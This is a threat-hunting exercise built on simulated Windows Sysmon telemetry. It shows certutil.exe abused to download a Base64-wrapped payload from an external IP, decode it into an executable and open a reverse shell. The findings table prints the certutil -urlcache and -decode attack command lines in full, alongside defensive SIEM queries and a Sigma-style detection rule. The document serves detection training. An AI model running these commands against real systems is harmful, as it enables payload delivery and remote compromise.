Threat Hunting Exercise: Analyzing Windows Certutil LOLBIN Payload Download Encode Dataset

This hunt uses a simulated endpoint telemetry dataset (win_sysmon_certutil_2022-09-23T101500.json) capturing T1105: Ingress Tool Transfer via T1140/T1027 (Certutil Decode), where an attacker abuses the built-in certutil.exe certificate utility's undocumented -urlcache and -decode flags to download and deobfuscate a Base64-encoded payload without triggering typical downloader signatures.

Step 1: Hypothesis Formation

Hypothesis: certutil.exe is invoked with -urlcache -split -f referencing an external URL, or with -decode referencing a locally staged file, outside of any PKI/certificate-management context - indicating abuse as a LOLBIN downloader/decoder rather than genuine certificate operations. Indicators:

certutil.exe command line containing -urlcache, -split, or -decode combined with a non-certificate file extension (.exe, .dll, .ps1) as the target.
The invoking parent process is cmd.exe or powershell.exe launched by a user session, not a certificate-services/PKI management context.
A file appears in a temp/user-writable directory immediately after the command, with a Base64-armored header (-----BEGIN CERTIFICATE------style wrapper) if -decode was used.
Follow-on execution of the resulting decoded/downloaded file.

Null Hypothesis: An IT administrator is using certutil for its legitimate purpose - validating or exporting a certificate - as part of PKI operations. Invalidate by confirming the command targets an actual .cer/.pfx file and matches a documented certificate task.

Rationale: certutil.exe is signed, native, and rarely restricted by application allow-listing since it is considered a core system utility, making it a durable and popular LOLBIN for both ingress tool transfer and defense evasion (Base64 decode bypassing plaintext signature scans).

Step 2: Data Sources and Scope

Sources: Sysmon Event ID 1 (process creation) and 11 (file creation); Windows Security Event ID 4688; proxy logs for the outbound HTTP request.
Scope: ~2022-09-23T10:15:00-10:25:00 UTC; Host: WKS-OPS-041 (10.15.3.27); User: t.ibrahim.
SIEM Queries (Splunk/ELK):
index=sysmon EventCode=1 Image="certutil.exe" CommandLine="urlcache" OR CommandLine="decode*"
Parent-process check: index=sysmon EventCode=1 Image="*certutil.exe" | stats values(ParentImage), values(CommandLine)
Follow-on execution: index=sysmon EventCode=1 ParentImage="cmd.exe" earliest=-2m latest=+2m

Step 3: Key Findings

Parsed events (5 shown) confirm certutil.exe was used first to download a Base64-encoded payload from an external URL and then to decode it into an executable, which was immediately run.

Timestamp (UTC)	Host	Event	Detail	IOC/Why Suspicious?
2022-09-23 10:17:33	WKS-OPS-041	Sysmon Event ID 1	`certutil.exe -urlcache -split -f http://45.148.10.92/upd.txt C:\Users\Public\upd.txt` launched from `cmd.exe`	LOLBIN-Download IOC: `-urlcache -split -f` is the well-documented certutil argument set for fetching arbitrary remote files, entirely unrelated to certificate management.
2022-09-23 10:17:34	WKS-OPS-041	Sysmon Event ID 11	`C:\Users\Public\upd.txt` created, 512 KB, content begins with Base64-armored `-----BEGIN CERTIFICATE-----` wrapper	Obfuscation-Container IOC: attackers wrap payloads in fake certificate PEM headers specifically so `certutil -decode` will process them.
2022-09-23 10:17:41	WKS-OPS-041	Sysmon Event ID 1	`certutil.exe -decode C:\Users\Public\upd.txt C:\Users\Public\upd.exe`	LOLBIN-Decode IOC: this decode step converts the disguised payload into a directly executable binary, bypassing plaintext-signature-based downloader detections.
2022-09-23 10:17:55	WKS-OPS-041	Sysmon Event ID 1	`upd.exe` executed from `C:\Users\Public\`, immediately spawning a reverse-shell connection	Execution-Confirmation IOC: the decoded payload runs and establishes outbound C2, confirming malicious intent rather than incidental PKI activity.
-	WKS-OPS-041	(PKI context check)	No enterprise certificate management task, GPO, or scheduled job references `certutil` on this host	Confirms this is not part of any legitimate certificate lifecycle operation.

Validation:

Timeline: remote download via -urlcache, disguised-payload decode via -decode, then immediate execution and C2 callback - a complete and fast LOLBIN abuse chain.
False Positives: no PKI/certificate-management context or ticket explains the activity, and the decoded file is a directly executable PE, not a certificate artifact.
Correlation: argument-flag misuse, disguised payload structure, decode step, and confirmed execution/C2 jointly confirm malicious LOLBIN abuse.

Step 4: Recommendations & Next Steps

Immediate Response: Isolate WKS-OPS-041, terminate upd.exe, block 45.148.10.92 at the perimeter, delete the staged artifacts, and review t.ibrahim's recent activity for the initial access vector.
Detection: Sigma-style rule: title: Certutil Used as LOLBIN Downloader or Decoder → selection: Image endswith 'certutil.exe' AND (CommandLine contains 'urlcache' OR CommandLine contains 'decode') filter: TargetExtension IN ('.cer','.pfx','.p7b') → condition: selection and not filter.
Pro Tip: Restrict certutil.exe execution via application control (WDAC/AppLocker) to only the PKI/systems-management service accounts that genuinely need it - for the vast majority of standard user endpoints, this binary has zero legitimate day-to-day use case and can be blocked outright with minimal operational impact.

Hypothesis confirmed - an attacker abused the native certutil.exe utility to download a disguised payload and decode it into an executable, entirely bypassing standard downloader detections before establishing a reverse-shell C2 connection!